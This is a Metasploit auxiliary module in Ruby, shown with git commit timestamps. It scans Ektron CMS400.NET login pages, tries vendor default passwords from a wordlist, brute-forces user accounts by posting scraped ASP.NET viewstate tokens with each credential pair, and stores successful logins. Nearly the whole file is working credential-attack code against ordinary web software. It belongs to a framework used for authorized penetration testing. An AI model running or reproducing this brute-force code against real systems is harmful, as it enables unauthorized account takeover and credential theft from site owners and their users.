metasploit-framework/modules/auxiliary/scanner/http/ektron_cms400net.rb

188 lines
5.7 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 13:02:44 +00:00
class MetasploitModule < Msf::Auxiliary
2013-08-30 21:28:54 +00:00
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::AuthBrute
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info={})
super(update_info(info,
'Name' => 'Ektron CMS400.NET Default Password Scanner',
'Description' => %q{
Ektron CMS400.NET is a web content management system based on .NET.
This module tests for installations that are utilizing default
passwords set by the vendor. Additionally, it has the ability
to brute force user accounts. Note that Ektron CMS400.NET, by
default, enforces account lockouts for regular user account
after a number of failed attempts.
},
'License' => MSF_LICENSE,
'Author' => ['Justin Cacak']
))
register_options(
[
OptString.new('URI', [true, "Path to the CMS400.NET login page", '/WorkArea/login.aspx']),
OptPath.new(
'USERPASS_FILE',
[
false,
"File containing users and passwords",
2013-09-26 19:34:48 +00:00
File.join(Msf::Config.data_directory, "wordlists", "cms400net_default_userpass.txt")
2013-08-30 21:28:54 +00:00
])
], self.class)
# Set to false to prevent account lockouts - it will!
2013-08-30 21:28:54 +00:00
deregister_options('BLANK_PASSWORDS')
end
def target_url
# Function to display correct protocol and host/vhost info
2013-08-30 21:28:54 +00:00
if rport == 443 or ssl
proto = "https"
else
proto = "http"
end
uri = normalize_uri(datastore['URI'])
if vhost != ""
"#{proto}://#{vhost}:#{rport}#{uri.to_s}"
else
"#{proto}://#{rhost}:#{rport}#{uri.to_s}"
end
end
2013-08-26 19:02:45 +00:00
def gen_blank_passwords(users, credentials)
2013-10-02 22:16:38 +00:00
return credentials
2013-08-26 19:02:45 +00:00
end
2013-08-30 21:28:54 +00:00
def run_host(ip)
begin
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(datastore['URI'])
}, 20)
if res.nil?
print_error("Connection timed out")
return
end
# Check for HTTP 200 response.
# Numerous versions and configs make if difficult to further fingerprint.
2013-08-30 21:28:54 +00:00
if (res and res.code == 200)
print_status("Ektron CMS400.NET install found at #{target_url} [HTTP 200]")
#Gather __VIEWSTATE and __EVENTVALIDATION from HTTP response.
#Required to be sent based on some versions/configs.
begin
viewstate = res.body.scan(/<input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE" value="(.*)"/)[0][0]
rescue
viewstate = ""
end
begin
eventvalidation = res.body.scan(/<input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION" value="(.*)"/)[0][0]
rescue
eventvalidation = ""
end
2014-12-12 12:16:21 +00:00
get_version
2013-08-30 21:28:54 +00:00
print_status "Testing passwords at #{target_url}"
each_user_pass { |user, pass|
do_login(user, pass, viewstate, eventvalidation)
}
else
print_error("Ektron CMS400.NET login page not found at #{target_url}. May need to set VHOST or RPORT. [HTTP #{res.code}]")
end
rescue
print_error ("Ektron CMS400.NET login page not found at #{target_url} [HTTP #{res.code}]")
return
end
end
2014-12-12 12:16:21 +00:00
def get_version
# Attempt to retrieve the version of CMS400.NET installed.
# Not always possible based on version/config.
2013-08-30 21:28:54 +00:00
payload = "http://#{vhost}:#{rport}/WorkArea/java/ektron.site-data.js.ashx"
res = send_request_cgi(
{
'method' => 'GET',
'uri' => payload
}, 20)
if (res.body.match(/Version.:.(\d{1,3}.\d{1,3})/))
print_status "Ektron CMS400.NET version: #{$1}"
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: (ssl ? 'https' : 'http'),
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation)
2013-08-30 21:28:54 +00:00
vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'")
post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}"
post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}"
2013-08-30 21:28:54 +00:00
post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}"
post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}"
begin
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['URI']),
'data' => post_data,
}, 20)
if (res and res.code == 200 and res.body.to_s.match(/LoginSuceededPanel/i) != nil)
print_good("#{target_url} [Ektron CMS400.NET] Successful login: '#{user}' : '#{pass}'")
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
2013-08-30 21:28:54 +00:00
elsif(res and res.code == 200)
vprint_error("#{target_url} [Ekton CMS400.NET] - Failed login as: '#{user}'")
else
print_error("#{target_url} [Error] Unable to authenticate. Check parameters. [HTTP #{res.code}]")
return :abort
end
rescue ::Rex::ConnectionError => e
vprint_error("http://#{tartget_url} - #{e.to_s}")
return :abort
end
end
end